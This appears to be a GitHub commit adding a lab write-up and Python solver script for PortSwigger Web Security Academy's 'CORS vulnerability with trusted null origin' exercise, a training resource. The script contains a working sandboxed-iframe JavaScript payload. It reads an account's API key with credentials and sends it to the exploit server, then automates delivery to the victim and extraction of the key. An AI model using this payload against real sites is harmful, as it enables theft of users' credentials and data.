Skip to content

Commit

Permalink
Add CORS vulnerability with trusted null origin
Browse files Browse the repository at this point in the history
  • Loading branch information
frank-leitner committed May 12, 2022
1 parent def0b11 commit 535ae16
Show file tree
Hide file tree
Showing 14 changed files with 202 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
# Write-up: CORS vulnerability with trusted null origin @ PortSwigger Academy

![logo](img/logo.png)

This write-up for the lab `CORS vulnerability with trusted null origin` is part of my walk-through series for [PortSwigger's Web Security Academy](https://portswigger.net/web-security).

Lab-Link: <https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack>
Difficulty: APPRENTICE
Python script: [script.py](script.py)

## Lab description

- Lab application trusts the "null" origin in its CORS configuration
- Known good credentials `wiener:peter`

### Goals

Craft some JavaScript that

- retrieves the admin API key
- uploads it to the exploit server

## Steps

### Analysis

The lab application is the shopping website. I log in with the provided credentials and check the requests made with Burp:

![accountDetails_normal_request](img/accountDetails_normal_request.png)

The response header `Access-Control-Allow-Credentials` hints that CORS is configured and that the browser will allow my JavaScript to read the response. I send the request to Repeater to play a bit.

**Reflected origin**

The first attempt is to add an origin to see whether basic reflection works. In this case, it does not (and this is expected as this was the content of the [first lab](../CORS_vulnerability_with_basic_origin_reflection/README.md) in this section):

![own_origin](img/own_origin.png)

**Wildcard origin**

Another problem with CORS can be wildcard origin, which is allowing any domain to access the response. However, browsers will never send cookies if wildcard origins are used, regardless of the content of the `Access-Control-Allow-Credentials` header.

As we need the inclusion of the session cookies in the request, wildcard origins can not be abused here.

**Null origin**

Similar to wildcard origin, a null origin is another way to allow the whole world to access the resources on websites. But unlike wildcard origin, null origin allows access to the response if the `Access-Control-Allow-Credentials` header is set to `true`.

In the case of this web application this is what happens:

![null_origin_allowed](img/null_origin_allowed.png)

The response contains the desired combination of response headers:

```
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
```

### Craft a payload

The next issue is how to instruct the browser to issue a null origin in its request.

A quick google search leads to a post on [stackoverflow](https://stackoverflow.com/questions/42239643/when-do-browsers-send-the-origin-header-when-do-browsers-set-the-origin-to-null) that contains a longish list of cases that cause the browser to include a null origin, including:

![iframes](img/iframes.png)

A quick check on [webdbg.com](https://webdbg.com/test/sandbox/frames.htm) appears to confirm this:

![webdbg](img/webdbg.png)

So I try to request the `accountDetails` page in a script within an iframe:

![poc_payload](img/poc_payload.png)

The request now contains a null origin and the response has the desired CORS-headers:

![poc_payload_response](img/poc_payload_response.png)

I take the script from the [first lab](../CORS_vulnerability_with_basic_origin_reflection/README.md) of this section and modify it to use an iframe:

![final_payload](img/final_payload.png)

After testing it, the log of the exploit server contains the data I want:

![test_run](img/test_run.png)

Sending the exploit to the victim results in the key of the administrator:

![victim_key](img/victim_key.png)

and the lab updates to

![success](img/success.png)
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Original file line number Diff line number Diff line change
@@ -0,0 +1,108 @@
#!/usr/bin/env python3
# CORS vulnerability with trusted null origin
# Lab-Link: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
# Difficulty: APPRENTICE
from bs4 import BeautifulSoup
import requests
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}


def find_exploitserver(text):
soup = BeautifulSoup(text, 'html.parser')
try:
result = soup.find('a', attrs={'id': 'exploit-link'})['href']
except TypeError:
return None
return result


def store_exploit(client, exploit_server, host):
# In difference to the previous lab the URLs need to use ' instead of " as the " are used for the iframe.
# as
data = {'urlIsHttps': 'on',
'responseFile': '/exploit',
'responseHead': '''HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8''',
'responseBody': '''<iframe name="malicious" srcdoc="<script>
var r = new XMLHttpRequest();
r.open('get', \'''' + host + '''/accountDetails', false);
r.withCredentials = true;
r.send();
const obj = JSON.parse(r.responseText);
r.open('get', \'''' + exploit_server + '''/?user=' + obj.username + '&apikey=' + obj.apikey, false);
r.send();
</script>" sandbox="allow-scripts" width="0px" height="0px" style="border: 0px none;"> </iframe>''',
'formAction': 'STORE'}

return client.post(exploit_server, data=data).status_code == 200


def extract_solution(client, exploit_server):
r = client.get(f'{exploit_server}/log')
if r.status_code != 200:
return None

soup = BeautifulSoup(r.text, 'html.parser')
result = soup.find('pre', attrs={'class': 'container'}).text
exfiltrate_line = result.splitlines()[-1]
# line is this format:
# 172.31.30.227 2022-05-01 16:53:37 +0000 "GET /?user=administrator&apikey=gOl7iVmfoesIVlIsWUfK30vYkLUDcRXr HTTP/1.1" 200 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.75 Safari/537.36"
apikey = exfiltrate_line.split()[5].split('&')[1].split('=')[1]
return apikey


def send_solution(client, host, solution):
data = {'answer': solution}
r = client.post(f'{host}/submitSolution', data=data)
return '{"correct":true}' in r.text


def main():
print('[+] CORS vulnerability with trusted null origin')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'Usage: {sys.argv[0]} <HOST>')
print(f'Exampe: {sys.argv[0]} http://www.example.com')
sys.exit(-1)

client = requests.Session()
client.verify = False
client.proxies = proxies

exploit_server = find_exploitserver(client.get(host).text)
if exploit_server is None:
print(f'[-] Failed to find exploit server')
sys.exit(-2)
print(f'[+] Exploit server: {exploit_server}')

if not store_exploit(client, exploit_server, host):
print(f'[-] Failed to store exploit file')
sys.exit(-3)
print(f'[+] Stored exploit file')

if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302:
print(f'[-] Failed to deliver exploit to victim')
sys.exit(-4)
print(f'[+] Delivered exploit to victim')

apikey = extract_solution(client, exploit_server)
print(f'[+] API key: {apikey}')
if not send_solution(client, host, apikey):
print(f'[-] Answer submitted was incorrect')
sys.exit(-5)
print(f'[+] Correct answer submitted')

if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
print(f'[-] Failed to solve lab')
sys.exit(-9)

print(f'[+] Lab solved')


if __name__ == "__main__":
main()

0 comments on commit 535ae16

Please sign in to comment.